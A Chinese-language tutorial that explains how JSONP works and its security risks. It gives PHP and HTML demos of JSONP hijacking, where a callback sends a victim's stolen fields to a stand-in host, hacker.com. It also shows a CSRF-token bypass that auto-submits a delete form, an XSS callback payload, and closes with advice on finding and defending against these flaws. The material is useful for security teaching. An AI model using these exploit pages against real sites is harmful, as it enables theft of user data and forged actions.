JSONP原理就是動態(tài)插入帶有跨域url的script標(biāo)簽,然后調(diào)用回調(diào)函數(shù),把我們需要的json數(shù)據(jù)作為參數(shù)傳入,通過一些邏輯把數(shù)據(jù)顯示在頁面上,這篇文章主要給大家介紹了關(guān)于jsonp的簡單介紹以及其安全風(fēng)險的相關(guān)資料,需要的朋友可以參考下

JSONP介紹

說起跨域請求資源的方法，最常見的方法是JSONP/CORS。下面以具體的例子介紹一下JSONP的工作原理。

JSONP全稱是JSON with Padding ，是基于JSON格式的為解決跨域請求資源而產(chǎn)生的解決方案。他實(shí)現(xiàn)的基本原理是利用了HTML里script元素標(biāo)簽沒有跨域限制

JSONP原理就是動態(tài)插入帶有跨域url的script標(biāo)簽，然后調(diào)用回調(diào)函數(shù)，把我們需要的json數(shù)據(jù)作為參數(shù)傳入，通過一些邏輯把數(shù)據(jù)顯示在頁面上。

比如通過script訪問http://www.test.com/index.html?jsonpcallback=callback, 執(zhí)行完script后，會調(diào)用callback函數(shù)，參數(shù)就是獲取到的數(shù)據(jù)。

原理很簡單，在本地復(fù)現(xiàn)一下，首先新建callback.php:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json數(shù)據(jù)
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //輸出jsonp格式的數(shù)據(jù)
    echo $callback . "(" . $json_data . ")";
?>

然后新建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

我們訪問test.html，頁面會執(zhí)行script，請求http://localhost/callback.php?callback=hehehe，然后將請求的內(nèi)容作為參數(shù)，執(zhí)行hehehe函數(shù)，hehehe函數(shù)將請求的內(nèi)容alert出來。最終的結(jié)果如下

這樣我們就實(shí)現(xiàn)了通過js操作跨域請求到的資源，繞過了同源策略。

但是伴隨著業(yè)務(wù)的發(fā)展總會出現(xiàn)安全問題，JSONP使用不當(dāng)也會造成很多安全問題。

JSONP劫持

對于JSONP傳輸數(shù)據(jù)，正常的業(yè)務(wù)是用戶在B域名下請求A域名下的數(shù)據(jù)，然后進(jìn)行進(jìn)一步操作。

但是對A域名的請求一般都需要身份驗(yàn)證，hacker怎么去獲取到這些信息呢，我們可以自己構(gòu)造一個頁面，然后誘惑用戶去點(diǎn)擊，在這個頁面里，我們?nèi)フ埱驛域名資源，然后回調(diào)函數(shù)將請求到的資源發(fā)回到hacker服務(wù)器上。

沒錯JSONP劫持類似于CSRF漏洞，步驟大概如下圖(來自參考文章1)所示：

利用代碼如下所示：

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

誘惑用戶訪問此html，會以用戶的身份訪問http://localhost/callback.php?callback=hehehe,拿到敏感數(shù)據(jù)，然后執(zhí)行hehehe函數(shù)，將數(shù)據(jù)發(fā)送給http://hacker.com/redirect.php。抓包可以攔截到如下請求包：

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hacker只需要在redirect.php里，將數(shù)據(jù)保存下來，然后重定向到baidu.com，堪稱一次完美的JSONP劫持。

利用JSONP繞過token防護(hù)進(jìn)行csrf攻擊

具體的實(shí)例可以看看參考文章2，3。

通過上面例子，我們知道JSONP可以獲取敏感的數(shù)據(jù)，在某些情況下，還可以利用JSONP劫持繞過token限制完成csrf攻擊。

假設(shè)有個場景是這樣：服務(wù)端判斷接收到的請求包，如果含有callback參數(shù)就返回JSONP格式的數(shù)據(jù)，否則返回正常頁面。代碼如下：test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json數(shù)據(jù)
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback參數(shù)，輸出jsonp格式的數(shù)據(jù)
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

對于場景，如果存在JSONP劫持劫持，我們就可以獲取到頁面中的內(nèi)容，提取出csrf_token，然后提交表單，造成csrf漏洞。示例利用代碼如下(來自參考文章2)：

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 獲取對象中的屬性值
    var content = obj['html']
    // 正則匹配出參數(shù)值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表單節(jié)點(diǎn)
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一個對象obj，以該對象作為參數(shù)傳入test函數(shù)，操作對象中屬性名為html的值，正則匹配出token，再加入表單，自動提交表單完成操作，用戶點(diǎn)擊該攻擊頁面即收到csrf攻擊。

JSONP劫持挖掘與防御

對于漏洞挖掘，我們首先需要盡可能的找到所有的接口，尤其是返回數(shù)據(jù)格式是JSONP的接口。(可以在數(shù)據(jù)包中檢索關(guān)鍵詞callback json jsonp email等，也可以加上callback參數(shù)，觀察返回值是否變化)。

找到接口之后，還需要返回值包含敏感信息，并且能被不同的域的頁面去請求獲取(也就是是否存在refer限制,實(shí)際上，如果接口存在refer的限制，也是有可能被繞過的，計劃以后的文章中再說)

對于JSONP劫持的防御，其實(shí)類似于csrf的防御。以下來源于參考文章4:

限制來源refer
按照J(rèn)SON格式標(biāo)準(zhǔn)輸出（設(shè)置Content-Type : application/json; charset=utf-8），預(yù)防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
過濾callback函數(shù)名以及JSON數(shù)據(jù)輸出，預(yù)防xss